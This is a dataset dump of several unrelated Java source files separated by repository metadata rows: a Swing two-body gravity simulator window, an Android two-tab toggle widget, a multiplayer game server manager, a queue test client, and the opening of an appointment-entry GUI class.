Body b2=new Body(mass);
b2.setRay(Integer.parseInt(JOptionPane.showInputDialog(null,"Insert ray")));
b2.x=x-b2.width;
b2.y=y-b2.width;
CENTER.setBody2(b2);
}
});
start.addActionListener(new ActionListener(){
@Override
public void actionPerformed(ActionEvent arg0) {
CENTER.start();
}
});
}
private void createWidgets() {
getContentPane().add(NORTH=new JPanel(),BorderLayout.NORTH);
NORTH.add(btnCrea1=new JButton("Create body 1"));
NORTH.add(btnCrea2=new JButton("Create body 2"));
NORTH.add(start=new JButton("Start"));
getContentPane().add(CENTER=new Universe(0.00000667),BorderLayout.CENTER);
}
public static void main(String[] args){
new WinFrame();
}
}
| UTF-8 | Java | 3,489 | java | WinFrame.java | Java | [] | null | [] | import java.awt.BorderLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
public class WinFrame extends JFrame{
private JPanel NORTH,SOUTH;
private JButton btnCrea1,btnCrea2,start;
private Universe CENTER;
private int last;
public WinFrame(){
super("Universal Gravitation Law");
createWidgets();
createEvents();
adjustGraphics();
this.last=1;
}
private void adjustGraphics() {
setLocation(100,100);
pack();
setVisible(true);
setDefaultCloseOperation(WinFrame.EXIT_ON_CLOSE);
}
private void createEvents() {
addMouseListener(new MouseListener(){
@Override
public void mouseClicked(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mouseEntered(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mouseExited(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mousePressed(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mouseReleased(MouseEvent arg0) {
if(last==1){
double mass=Double.parseDouble(JOptionPane.showInputDialog(null,"Insert mass"));
Body b1=new Body(mass);
b1.x=arg0.getX();
b1.y=arg0.getY();
b1.setRay(Integer.parseInt(JOptionPane.showInputDialog(null,"Insert ray")));
CENTER.setBody1(b1);
last=2;
}
else{
double mass=Double.parseDouble(JOptionPane.showInputDialog(null,"Insert mass"));
Body b1=new Body(mass);
b1.x=arg0.getX();
b1.y=arg0.getY();
b1.setRay(Integer.parseInt(JOptionPane.showInputDialog(null,"Insert ray")));
CENTER.setBody2(b1);
last=1;
}
}});
btnCrea1.addActionListener(new ActionListener(){
@Override
public void actionPerformed(ActionEvent arg0) {
last=1;
int x=10;
int y=10;
double mass=Double.parseDouble(JOptionPane.showInputDialog(null,"Insert mass"));
Body b1=new Body(mass);
b1.x=x;
b1.y=y;
b1.setRay(Integer.parseInt(JOptionPane.showInputDialog(null,"Insert ray")));
CENTER.setBody1(b1);
}
});
btnCrea2.addActionListener(new ActionListener(){
@Override
public void actionPerformed(ActionEvent arg0) {
last=2;
int x=CENTER.getWidth();
int y=CENTER.getHeight();
double mass=Double.parseDouble(JOptionPane.showInputDialog(null,"Insert mass"));
Body b2=new Body(mass);
b2.setRay(Integer.parseInt(JOptionPane.showInputDialog(null,"Insert ray")));
b2.x=x-b2.width;
b2.y=y-b2.width;
CENTER.setBody2(b2);
}
});
start.addActionListener(new ActionListener(){
@Override
public void actionPerformed(ActionEvent arg0) {
CENTER.start();
}
});
}
private void createWidgets() {
getContentPane().add(NORTH=new JPanel(),BorderLayout.NORTH);
NORTH.add(btnCrea1=new JButton("Create body 1"));
NORTH.add(btnCrea2=new JButton("Create body 2"));
NORTH.add(start=new JButton("Start"));
getContentPane().add(CENTER=new Universe(0.00000667),BorderLayout.CENTER);
}
public static void main(String[] args){
new WinFrame();
}
}
| 3,489 | 0.658068 | 0.637719 | 140 | 22.921429 | 22.035707 | 85 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 3.114286 | false | false | 15 |
a40e18172baf4564b2339c85c3a2a30f197e600e | 27,960,237,142,313 | 73aca229044506e91749e23877a9ad0690c1295b | /commonlib/src/main/java/com/ruanyun/chezhiyi/commonlib/view/widget/TopTabButton.java | b4b3bf9e6ef3e1582f311f9e1e806664c11554f3 | [
"Apache-2.0"
] | permissive | JinLiang2455950287/CheZhiYiForShop | https://github.com/JinLiang2455950287/CheZhiYiForShop | 9d041edd27637b15beadcf0c0d14c8e47745a3a8 | e4f7ff0c2a608e7c5bf49a06a928951e72e9b3eb | refs/heads/master | 2021-01-01T15:43:10.176000 | 2017-05-16T01:14:52 | 2017-05-16T01:14:52 | 97,681,285 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.ruanyun.chezhiyi.commonlib.view.widget;
import android.annotation.SuppressLint;
import android.content.Context;
import android.content.res.TypedArray;
import android.text.TextUtils;
import android.util.AttributeSet;
import android.view.Gravity;
import android.view.View;
import android.widget.TextView;
import com.ruanyun.chezhiyi.commonlib.R;
import com.zhy.autolayout.AutoLinearLayout;
import java.lang.reflect.Method;
/**
*
* @ClassName: TopTabButton
* @Description: 仿扣扣切换标签
* @author sjj
* @date 2015-12-4 下午3:29:57
*
*/
public class TopTabButton extends AutoLinearLayout {
private TextView tabLeft;
private TextView tabRight;
private String letfTabStr, rightTabStr;
public TopTabButton(Context context, AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
}
public TopTabButton(Context context, AttributeSet attrs) {
super(context, attrs);
TypedArray ta = context.obtainStyledAttributes(attrs,
R.styleable.TopTabButton, 0, 0);
if(ta!=null){
letfTabStr = ta.getString(R.styleable.TopTabButton_lefttab_str);
rightTabStr = ta.getString(R.styleable.TopTabButton_righttab_str);
ta.recycle();
}
initView(context);
}
public TopTabButton(Context context) {
super(context);
}
@SuppressLint("NewApi")
public TopTabButton(Context context, AttributeSet attrs, int defStyleAttr,
int defStyleRes) {
super(context, attrs, defStyleAttr, defStyleRes);
}
@SuppressWarnings("ResourceType")
private void initView(Context context) {
setOrientation(HORIZONTAL);
setLayoutParams(new LayoutParams(LayoutParams.WRAP_CONTENT,
LayoutParams.WRAP_CONTENT));
tabLeft = new TextView(context);
tabRight = new TextView(context);
tabLeft.setId(R.id.toptab_left);
tabRight.setId(R.id.toptab_right);
tabLeft.setLayoutParams(getTextLayoutParams());
tabRight.setLayoutParams(getTextLayoutParams());
tabLeft.setBackgroundResource(R.drawable.top_tabbtn_left_selector);
tabRight.setBackgroundResource(R.drawable.top_tabbtn_right_selector);
tabLeft.setTextColor(getResources().getColorStateList(R.drawable.toptab_textcolor_selector));
tabRight.setTextColor(getResources().getColorStateList(R.drawable.toptab_textcolor_selector));
tabLeft.setGravity(Gravity.CENTER);
tabRight.setGravity(Gravity.CENTER);
if (!TextUtils.isEmpty(letfTabStr)) {
setLeftText(letfTabStr);
}
if (!TextUtils.isEmpty(rightTabStr)) {
setRightText(rightTabStr);
}
addView(tabLeft);
addView(tabRight);
}
private LayoutParams getTextLayoutParams() {
LayoutParams params = new LayoutParams(194,
LayoutParams.WRAP_CONTENT);
params.weight = 1.0f;
//params.width=;
params.gravity = Gravity.CENTER;
return params;
}
public void onLeftTabClick(final Object base, final String methodName,
final Object... parameters) {
tabLeft.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
setLeftTabStatus(true);
onViewClick(base,methodName,parameters);
}
});
}
public void onRightTabClick(final Object base, final String methodName,
final Object... parameters) {
tabRight.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
setRightTabStatus(true);
onViewClick(base,methodName,parameters);
}
});
}
private void onViewClick(final Object base, final String methodName,
final Object... parameters){
int length = parameters.length;
Class<?>[] paramsTypes = new Class<?>[length];
for (int i = 0; i < length; i++) {
paramsTypes[i] = parameters[i].getClass();
}
try {
Method m = base.getClass().getDeclaredMethod(methodName,
paramsTypes);
m.setAccessible(true);
m.invoke(base, parameters);
} catch (Exception e) {
e.printStackTrace();
}
}
public void setLeftText(String text) {
if (tabLeft != null) {
tabLeft.setText(text);
}
}
public void setLeftTabStatus(boolean flag) {
tabLeft.setSelected(flag);
tabRight.setSelected(!flag);
}
public void setRightTabStatus(boolean flag) {
tabRight.setSelected(flag);
tabLeft.setSelected(!flag);
}
public void setLeftText(int resId) {
setLeftText(getResources().getString(resId));
}
public void setRightText(String text) {
if (tabRight != null) {
tabRight.setText(text);
}
}
public void setRightText(int resId) {
setRightText(getResources().getString(resId));
}
public boolean isLeftTabChecked() {
return tabLeft.isSelected();
}
public boolean isRightTabChecked() {
return tabRight.isSelected();
}
}
| UTF-8 | Java | 4,568 | java | TopTabButton.java | Java | [
{
"context": ": TopTabButton\n * @Description: 仿扣扣切换标签\n * @author sjj\n * @date 2015-12-4 下午3:29:57\n * \n */\npublic class",
"end": 512,
"score": 0.9996657371520996,
"start": 509,
"tag": "USERNAME",
"value": "sjj"
}
] | null | [] | package com.ruanyun.chezhiyi.commonlib.view.widget;
import android.annotation.SuppressLint;
import android.content.Context;
import android.content.res.TypedArray;
import android.text.TextUtils;
import android.util.AttributeSet;
import android.view.Gravity;
import android.view.View;
import android.widget.TextView;
import com.ruanyun.chezhiyi.commonlib.R;
import com.zhy.autolayout.AutoLinearLayout;
import java.lang.reflect.Method;
/**
*
* @ClassName: TopTabButton
* @Description: 仿扣扣切换标签
* @author sjj
* @date 2015-12-4 下午3:29:57
*
*/
public class TopTabButton extends AutoLinearLayout {
private TextView tabLeft;
private TextView tabRight;
private String letfTabStr, rightTabStr;
public TopTabButton(Context context, AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
}
public TopTabButton(Context context, AttributeSet attrs) {
super(context, attrs);
TypedArray ta = context.obtainStyledAttributes(attrs,
R.styleable.TopTabButton, 0, 0);
if(ta!=null){
letfTabStr = ta.getString(R.styleable.TopTabButton_lefttab_str);
rightTabStr = ta.getString(R.styleable.TopTabButton_righttab_str);
ta.recycle();
}
initView(context);
}
public TopTabButton(Context context) {
super(context);
}
@SuppressLint("NewApi")
public TopTabButton(Context context, AttributeSet attrs, int defStyleAttr,
int defStyleRes) {
super(context, attrs, defStyleAttr, defStyleRes);
}
@SuppressWarnings("ResourceType")
private void initView(Context context) {
setOrientation(HORIZONTAL);
setLayoutParams(new LayoutParams(LayoutParams.WRAP_CONTENT,
LayoutParams.WRAP_CONTENT));
tabLeft = new TextView(context);
tabRight = new TextView(context);
tabLeft.setId(R.id.toptab_left);
tabRight.setId(R.id.toptab_right);
tabLeft.setLayoutParams(getTextLayoutParams());
tabRight.setLayoutParams(getTextLayoutParams());
tabLeft.setBackgroundResource(R.drawable.top_tabbtn_left_selector);
tabRight.setBackgroundResource(R.drawable.top_tabbtn_right_selector);
tabLeft.setTextColor(getResources().getColorStateList(R.drawable.toptab_textcolor_selector));
tabRight.setTextColor(getResources().getColorStateList(R.drawable.toptab_textcolor_selector));
tabLeft.setGravity(Gravity.CENTER);
tabRight.setGravity(Gravity.CENTER);
if (!TextUtils.isEmpty(letfTabStr)) {
setLeftText(letfTabStr);
}
if (!TextUtils.isEmpty(rightTabStr)) {
setRightText(rightTabStr);
}
addView(tabLeft);
addView(tabRight);
}
private LayoutParams getTextLayoutParams() {
LayoutParams params = new LayoutParams(194,
LayoutParams.WRAP_CONTENT);
params.weight = 1.0f;
//params.width=;
params.gravity = Gravity.CENTER;
return params;
}
public void onLeftTabClick(final Object base, final String methodName,
final Object... parameters) {
tabLeft.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
setLeftTabStatus(true);
onViewClick(base,methodName,parameters);
}
});
}
public void onRightTabClick(final Object base, final String methodName,
final Object... parameters) {
tabRight.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
setRightTabStatus(true);
onViewClick(base,methodName,parameters);
}
});
}
private void onViewClick(final Object base, final String methodName,
final Object... parameters){
int length = parameters.length;
Class<?>[] paramsTypes = new Class<?>[length];
for (int i = 0; i < length; i++) {
paramsTypes[i] = parameters[i].getClass();
}
try {
Method m = base.getClass().getDeclaredMethod(methodName,
paramsTypes);
m.setAccessible(true);
m.invoke(base, parameters);
} catch (Exception e) {
e.printStackTrace();
}
}
public void setLeftText(String text) {
if (tabLeft != null) {
tabLeft.setText(text);
}
}
public void setLeftTabStatus(boolean flag) {
tabLeft.setSelected(flag);
tabRight.setSelected(!flag);
}
public void setRightTabStatus(boolean flag) {
tabRight.setSelected(flag);
tabLeft.setSelected(!flag);
}
public void setLeftText(int resId) {
setLeftText(getResources().getString(resId));
}
public void setRightText(String text) {
if (tabRight != null) {
tabRight.setText(text);
}
}
public void setRightText(int resId) {
setRightText(getResources().getString(resId));
}
public boolean isLeftTabChecked() {
return tabLeft.isSelected();
}
public boolean isRightTabChecked() {
return tabRight.isSelected();
}
}
| 4,568 | 0.735604 | 0.731209 | 179 | 24.418995 | 21.924652 | 96 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.96648 | false | false | 15 |
6ba30399601acbbc155d9f4a7e8f92f311cd4abc | 27,960,237,141,223 | a8e39c5696ca986b8ba1dbe4a8d3e9b3e74292e9 | /src/serverSideConnection/ServerManager.java | 11721d6795eca8b6b30e2dee812db6a4591f9a93 | [] | no_license | RicardFabien/PPE2-projet-RPG | https://github.com/RicardFabien/PPE2-projet-RPG | 4c41792554f354e3934d4237093ad4603eb70090 | 2342b41189f0eae2f6055bf4a45d66fd24964dba | refs/heads/master | 2020-05-15T22:53:00.401000 | 2019-04-21T13:46:10 | 2019-04-21T13:46:10 | 182,538,387 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package serverSideConnection;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.ListIterator;
import javax.swing.plaf.basic.BasicToggleButtonUI;
import battle.BattleManager;
import commandControl.CommandManager;
import commandControl.Debug;
public class ServerManager {
boolean on;
public CommandManager commandManager;
ServerMessageHandler messageHandler;
ServerClientListenerInitialiser serverClientListenerInitialiser;
BattleManager battleManager = new BattleManager(this);
List<ServerClientListener> clientList = new ArrayList<ServerClientListener>();
int maxNumberOfConnection = 4;
int clientInitialiserUnexpectedStop = 0;
//<-----Name extention----->
private String[] nameExtention= {"Bis","Alter","Doppelganger"};
//<-----Commandes----->
public static final String STOP_COMMUNICATION = "stop_communication";
public static final String CONNECTION_ACCEPTED = "connection_accepted";
public static final String CONNECTION_REFUSED = "connection_refused";
public static final String NAME_EXTENTION = "name_extention";
public static final String UNSPECIFIED = "unspecified";
public static final String IS_FULL = "is_full";
public static final String END = "end";
//<-----Protocol de communication----->
//Les trois premiers character sont utilisé pour les communication de protocol
public static final String CHAT_INDICATOR = "Cµ@t***";
public static final String SYSTEM_INDICATOR = "$Y§tem*";
public static final String COMBAT_INDICATOR = "{0ùmbat";
//<-----Methodes----->
public void sendClient(ServerClientListener client,String message)
{
client.send(message);
}
public void sendClient(String nameClient , String message)
{
ServerClientListener client = getClientByName(nameClient);
client.send(message);
}
public void sendToAllClient(String message)
{
for(ServerClientListener client : clientList)
{
sendClient(client, message);
}
}
public void turnOn()
{
if (on)
return;
this.messageHandler = new ServerMessageHandler(this);
this.messageHandler.start();
this.serverClientListenerInitialiser = new ServerClientListenerInitialiser(this);
this.serverClientListenerInitialiser.start();
this.battleManager = new BattleManager(this);
on = true;
useCommand(CommandManager.CLIENT_CONNECT+ " " + "localhost");
Debug.out(this, "server on");
}
public void turnOff()
{
if(!on)
return;
stopClientInitialiser();
deleteAllClient();
deleteMessageHandler();
on = false;
Debug.out(this, "server off");
}
public void startBattle()
{
battleManager.startBattle();
}
public void addClient(ServerClientListener client)
{
this.clientList.add(client);
client.start();
}
public void removeClient(ServerClientListener client)
{
this.clientList.remove(client);
}
public synchronized void sendMessagetoSystem(ServerClientMessage message)
{
Debug.out(this, "message sent to messageHandler : " + message);
messageHandler.addMessage(message);
}
public int numberOfConnection()
{
return clientList.size() + 1 ;
}
protected synchronized void notifyUnexpectedClientStop()
{
clientInitialiserUnexpectedStop ++;
if(clientInitialiserUnexpectedStop < 4)
{
restartClientInitialiser();
}
else
{
Debug.out(this, "une erreur à été detecté dans le clientInitialiser ");
}
}
protected void notifyClientStop(ServerClientListener client)
{
if(client != null)
clientList.remove(client);
}
protected synchronized int getNextClientid()
{
for(int i = 1; i <= maxNumberOfConnection; i++ )
{
boolean used = false;
for(ServerClientListener client : clientList)
{
if(client.id == i)
used = true;
}
if(used == false)
return i;
}
return -1;
}
protected synchronized String getNameExtention(String name)
{
int i =0;
while(isNameDuplicate(name))
{
for(String extention : nameExtention)
{
String testName = name + extention;
if(i != 0)
testName += i;
Debug.out(this, "tested name : " + testName);
if( !isNameDuplicate(testName) )
{
return extention;
}
}
}
return "";
}
protected void useCommand(String command , Object object)
{
commandManager.useCommand(command, object);
}
private void restartClientInitialiser()
{
Debug.out(this, "restarting ClientListener Initialiser");
stopClientInitialiser();
this.serverClientListenerInitialiser = new ServerClientListenerInitialiser(this);
this.serverClientListenerInitialiser.start();
}
private void stopClientInitialiser()
{
if(serverClientListenerInitialiser != null)
serverClientListenerInitialiser.stop();
}
private void deleteMessageHandler()
{
messageHandler.kill();
messageHandler = null;
}
/*private void deleteClient(ServerClientListener client)
{
if(client != null)
client.stop();
removeClient(client);
}*/
private synchronized void deleteAllClient()
{
while(clientList.size() > 0)
{
clientList.remove(0);
}
}
private ServerClientListener getClientByName(String nameClient)
{
for(ServerClientListener client : clientList)
{
if(client.name.equals(nameClient))
return client;
}
return null;
}
private boolean isNameDuplicate(String name)
{
if(getClientByName(name) == null)
return false;
return true;
}
protected void useCommand(String command)
{
useCommand(command, null);
}
public void sendToBattleManager(ServerClientMessage serverClientMessage)
{
battleManager.treatCommand(serverClientMessage);
}
}
| UTF-8 | Java | 5,757 | java | ServerManager.java | Java | [] | null | [] | package serverSideConnection;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.ListIterator;
import javax.swing.plaf.basic.BasicToggleButtonUI;
import battle.BattleManager;
import commandControl.CommandManager;
import commandControl.Debug;
public class ServerManager {
boolean on;
public CommandManager commandManager;
ServerMessageHandler messageHandler;
ServerClientListenerInitialiser serverClientListenerInitialiser;
BattleManager battleManager = new BattleManager(this);
List<ServerClientListener> clientList = new ArrayList<ServerClientListener>();
int maxNumberOfConnection = 4;
int clientInitialiserUnexpectedStop = 0;
//<-----Name extention----->
private String[] nameExtention= {"Bis","Alter","Doppelganger"};
//<-----Commandes----->
public static final String STOP_COMMUNICATION = "stop_communication";
public static final String CONNECTION_ACCEPTED = "connection_accepted";
public static final String CONNECTION_REFUSED = "connection_refused";
public static final String NAME_EXTENTION = "name_extention";
public static final String UNSPECIFIED = "unspecified";
public static final String IS_FULL = "is_full";
public static final String END = "end";
//<-----Protocol de communication----->
//Les trois premiers character sont utilisé pour les communication de protocol
public static final String CHAT_INDICATOR = "Cµ@t***";
public static final String SYSTEM_INDICATOR = "$Y§tem*";
public static final String COMBAT_INDICATOR = "{0ùmbat";
//<-----Methodes----->
public void sendClient(ServerClientListener client,String message)
{
client.send(message);
}
public void sendClient(String nameClient , String message)
{
ServerClientListener client = getClientByName(nameClient);
client.send(message);
}
public void sendToAllClient(String message)
{
for(ServerClientListener client : clientList)
{
sendClient(client, message);
}
}
public void turnOn()
{
if (on)
return;
this.messageHandler = new ServerMessageHandler(this);
this.messageHandler.start();
this.serverClientListenerInitialiser = new ServerClientListenerInitialiser(this);
this.serverClientListenerInitialiser.start();
this.battleManager = new BattleManager(this);
on = true;
useCommand(CommandManager.CLIENT_CONNECT+ " " + "localhost");
Debug.out(this, "server on");
}
public void turnOff()
{
if(!on)
return;
stopClientInitialiser();
deleteAllClient();
deleteMessageHandler();
on = false;
Debug.out(this, "server off");
}
public void startBattle()
{
battleManager.startBattle();
}
public void addClient(ServerClientListener client)
{
this.clientList.add(client);
client.start();
}
public void removeClient(ServerClientListener client)
{
this.clientList.remove(client);
}
public synchronized void sendMessagetoSystem(ServerClientMessage message)
{
Debug.out(this, "message sent to messageHandler : " + message);
messageHandler.addMessage(message);
}
public int numberOfConnection()
{
return clientList.size() + 1 ;
}
protected synchronized void notifyUnexpectedClientStop()
{
clientInitialiserUnexpectedStop ++;
if(clientInitialiserUnexpectedStop < 4)
{
restartClientInitialiser();
}
else
{
Debug.out(this, "une erreur à été detecté dans le clientInitialiser ");
}
}
protected void notifyClientStop(ServerClientListener client)
{
if(client != null)
clientList.remove(client);
}
protected synchronized int getNextClientid()
{
for(int i = 1; i <= maxNumberOfConnection; i++ )
{
boolean used = false;
for(ServerClientListener client : clientList)
{
if(client.id == i)
used = true;
}
if(used == false)
return i;
}
return -1;
}
protected synchronized String getNameExtention(String name)
{
int i =0;
while(isNameDuplicate(name))
{
for(String extention : nameExtention)
{
String testName = name + extention;
if(i != 0)
testName += i;
Debug.out(this, "tested name : " + testName);
if( !isNameDuplicate(testName) )
{
return extention;
}
}
}
return "";
}
protected void useCommand(String command , Object object)
{
commandManager.useCommand(command, object);
}
private void restartClientInitialiser()
{
Debug.out(this, "restarting ClientListener Initialiser");
stopClientInitialiser();
this.serverClientListenerInitialiser = new ServerClientListenerInitialiser(this);
this.serverClientListenerInitialiser.start();
}
private void stopClientInitialiser()
{
if(serverClientListenerInitialiser != null)
serverClientListenerInitialiser.stop();
}
private void deleteMessageHandler()
{
messageHandler.kill();
messageHandler = null;
}
/*private void deleteClient(ServerClientListener client)
{
if(client != null)
client.stop();
removeClient(client);
}*/
private synchronized void deleteAllClient()
{
while(clientList.size() > 0)
{
clientList.remove(0);
}
}
private ServerClientListener getClientByName(String nameClient)
{
for(ServerClientListener client : clientList)
{
if(client.name.equals(nameClient))
return client;
}
return null;
}
private boolean isNameDuplicate(String name)
{
if(getClientByName(name) == null)
return false;
return true;
}
protected void useCommand(String command)
{
useCommand(command, null);
}
public void sendToBattleManager(ServerClientMessage serverClientMessage)
{
battleManager.treatCommand(serverClientMessage);
}
}
| 5,757 | 0.701339 | 0.699426 | 315 | 17.250793 | 21.681767 | 83 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.853968 | false | false | 15 |
5b690c568f17c1c54c97b2c08e959feb4d8fb879 | 34,359,773,093 | 61b01838b6cc7013bef5fe10f60d7e7e756b4aa0 | /queues/quueUsingArrays_Client.java | 4024c06569e0dbee919e40bab40f044308229208 | [] | no_license | HarshavardhanYeddula/JAVA_code | https://github.com/HarshavardhanYeddula/JAVA_code | 104bfcc9c9e4a62da1c961f8f3a119f73c772241 | 5067b8f64e4ec506e6d9e457603ec72f7fc6257b | refs/heads/master | 2021-03-14T16:17:09.237000 | 2020-03-12T08:19:00 | 2020-03-12T08:19:00 | 246,775,995 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package queues;
public class quueUsingArrays_Client {
public static void main(String[] args) throws Exception{
quueUsingArrays q = new quueUsingArrays(5);
q.enqueue(10);
q.enqueue(20);
q.enqueue(30);
q.enqueue(40);
q.enqueue(50);
q.Display();
// q.enqueue(60);
// q.front();
// q.Display();
System.out.println();
System.out.println(q.front());
System.out.println( q.dequeue());
System.out.println();
System.out.println(q.dequeue());
q.enqueue(60);
q.enqueue(70);
System.out.println();
// q.dequeue();
// q.dequeue();
//
System.out.println(q.dequeue());
System.out.println(q.dequeue());
q.enqueue(80);
q.enqueue(90);
q.Display();
System.out.println();
System.out.println(q.front());
System.out.println(q.size());
System.out.println(q.IsEmpty());
System.out.println(q.dequeue());
System.out.println(q.dequeue());
System.out.println(q.dequeue());
System.out.println(q.dequeue());
System.out.println(q.dequeue());
// System.out.println(q.dequeue());
System.out.println(q.IsEmpty());
}
}
//
//public class Queue_basic {
// public int data[];
// public int front;
// public int size;
//
// public static final int capacity=10;
// public Queue_basic()throws Exception {
// this(capacity);
// }
//
//
// public Queue_basic(int capacity)throws Exception{
// if(capacity<1){
// throw new Exception("Can't from queue");
// }
// else{
// this.data=new int[capacity];
// this.front=0;
// this.size=0;
// }
// }
// public int size(){
// return this.size;
// }
//
// public boolean Isempty(){
// return this.size()==0;
// }
// public boolean Isfull(){
// return this.size()==this.data.length;
// }
//
// public void Enqueue(int item) throws Exception{
// if(Isfull()){
// throw new Exception("Queue is full");
// }
// int it=(this.front+this.size)%this.data.length;
// this.data[it]=item;
// this.size++;
// }
//
//
// public int Dequeue()throws Exception{
// if (Isempty()){
// throw new Exception("Queue is Empty");
// }
// int rr=this.data[this.front];
// this.data[this.front]=0;
// this.front=(this.front+1)%this.data.length;
// this.size--;
// return rr;
//
// }
//
//
// public int Front() throws Exception{
// if(Isempty()){
// throw new Exception("Queue is empty");
// }
// int rr=this.data[this.front];
// return rr;
// }
//
//
//
// public void display() throws Exception{
// for (int i = 0; i <this.data.length ; i++) {
// int ai=(this.front+i)%this.data.length;
// System.out.print(this.data[ai]+" ->");
// }
// System.out.println("End");
// }
//
//
// public static void main(String[] args) throws Exception {
//// Scanner s1= new Scanner(System.in);
// PRACTICE_MAKES_MAN_PERFECT.Queue_basic q= new PRACTICE_MAKES_MAN_PERFECT.Queue_basic(5);
// System.out.println(q.Isempty());
//
// q.Enqueue(10);
// q.Enqueue(9);
// q.Enqueue(8);
// q.Enqueue(7);
// q.Enqueue(6);
// q.display();
// System.out.println(q.Front());
// System.out.println( q.Isfull());
// System.out.println(q.size());
// System.out.println(q.Dequeue());
// System.out.println(q.Dequeue());
// System.out.println(q.Dequeue());
// System.out.println(q.Dequeue());
// System.out.println(q.Dequeue());
// System.out.println(q.Dequeue());
// }
//
//
//}
| UTF-8 | Java | 3,897 | java | quueUsingArrays_Client.java | Java | [] | null | [] | package queues;
public class quueUsingArrays_Client {
public static void main(String[] args) throws Exception{
quueUsingArrays q = new quueUsingArrays(5);
q.enqueue(10);
q.enqueue(20);
q.enqueue(30);
q.enqueue(40);
q.enqueue(50);
q.Display();
// q.enqueue(60);
// q.front();
// q.Display();
System.out.println();
System.out.println(q.front());
System.out.println( q.dequeue());
System.out.println();
System.out.println(q.dequeue());
q.enqueue(60);
q.enqueue(70);
System.out.println();
// q.dequeue();
// q.dequeue();
//
System.out.println(q.dequeue());
System.out.println(q.dequeue());
q.enqueue(80);
q.enqueue(90);
q.Display();
System.out.println();
System.out.println(q.front());
System.out.println(q.size());
System.out.println(q.IsEmpty());
System.out.println(q.dequeue());
System.out.println(q.dequeue());
System.out.println(q.dequeue());
System.out.println(q.dequeue());
System.out.println(q.dequeue());
// System.out.println(q.dequeue());
System.out.println(q.IsEmpty());
}
}
//
//public class Queue_basic {
// public int data[];
// public int front;
// public int size;
//
// public static final int capacity=10;
// public Queue_basic()throws Exception {
// this(capacity);
// }
//
//
// public Queue_basic(int capacity)throws Exception{
// if(capacity<1){
// throw new Exception("Can't from queue");
// }
// else{
// this.data=new int[capacity];
// this.front=0;
// this.size=0;
// }
// }
// public int size(){
// return this.size;
// }
//
// public boolean Isempty(){
// return this.size()==0;
// }
// public boolean Isfull(){
// return this.size()==this.data.length;
// }
//
// public void Enqueue(int item) throws Exception{
// if(Isfull()){
// throw new Exception("Queue is full");
// }
// int it=(this.front+this.size)%this.data.length;
// this.data[it]=item;
// this.size++;
// }
//
//
// public int Dequeue()throws Exception{
// if (Isempty()){
// throw new Exception("Queue is Empty");
// }
// int rr=this.data[this.front];
// this.data[this.front]=0;
// this.front=(this.front+1)%this.data.length;
// this.size--;
// return rr;
//
// }
//
//
// public int Front() throws Exception{
// if(Isempty()){
// throw new Exception("Queue is empty");
// }
// int rr=this.data[this.front];
// return rr;
// }
//
//
//
// public void display() throws Exception{
// for (int i = 0; i <this.data.length ; i++) {
// int ai=(this.front+i)%this.data.length;
// System.out.print(this.data[ai]+" ->");
// }
// System.out.println("End");
// }
//
//
// public static void main(String[] args) throws Exception {
//// Scanner s1= new Scanner(System.in);
// PRACTICE_MAKES_MAN_PERFECT.Queue_basic q= new PRACTICE_MAKES_MAN_PERFECT.Queue_basic(5);
// System.out.println(q.Isempty());
//
// q.Enqueue(10);
// q.Enqueue(9);
// q.Enqueue(8);
// q.Enqueue(7);
// q.Enqueue(6);
// q.display();
// System.out.println(q.Front());
// System.out.println( q.Isfull());
// System.out.println(q.size());
// System.out.println(q.Dequeue());
// System.out.println(q.Dequeue());
// System.out.println(q.Dequeue());
// System.out.println(q.Dequeue());
// System.out.println(q.Dequeue());
// System.out.println(q.Dequeue());
// }
//
//
//}
| 3,897 | 0.514755 | 0.505004 | 145 | 25.875862 | 17.948925 | 98 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.586207 | false | false | 15 |
a7cdabaca581ff0fe596b35441afbf8eaf5772f0 | 30,520,037,650,656 | 1fe886403cb7f3260727e679234bfb947a2f49a3 | /src/GUI/Appointments/AddAppointmentScreen.java | 7a04924d2261de46ccfa8afaa8e6ff854126792f | [] | no_license | alwendl2/CustomerManagementSystem-java | https://github.com/alwendl2/CustomerManagementSystem-java | e08b919dee451b40284d7bb73b801a9984859e7a | 7e35430c79d734987f61b663a0a02fc80d99398d | refs/heads/master | 2021-01-20T13:58:44.260000 | 2017-04-25T15:17:21 | 2017-04-25T15:17:21 | 82,719,780 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package GUI.Appointments;
import java.awt.Dimension;
import java.awt.GridBagConstraints;
import java.awt.GridBagLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.util.Date;
import java.sql.Timestamp;
import java.util.Properties;
import javax.swing.BoxLayout;
import javax.swing.JButton;
import javax.swing.JComboBox;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JSpinner;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import javax.swing.SpinnerDateModel;
import org.jdatepicker.impl.JDatePanelImpl;
import org.jdatepicker.impl.JDatePickerImpl;
import org.jdatepicker.impl.UtilDateModel;
import Engine.FieldManager;
import GUI.GUIManager;
public class AddAppointmentScreen extends JFrame implements ActionListener {
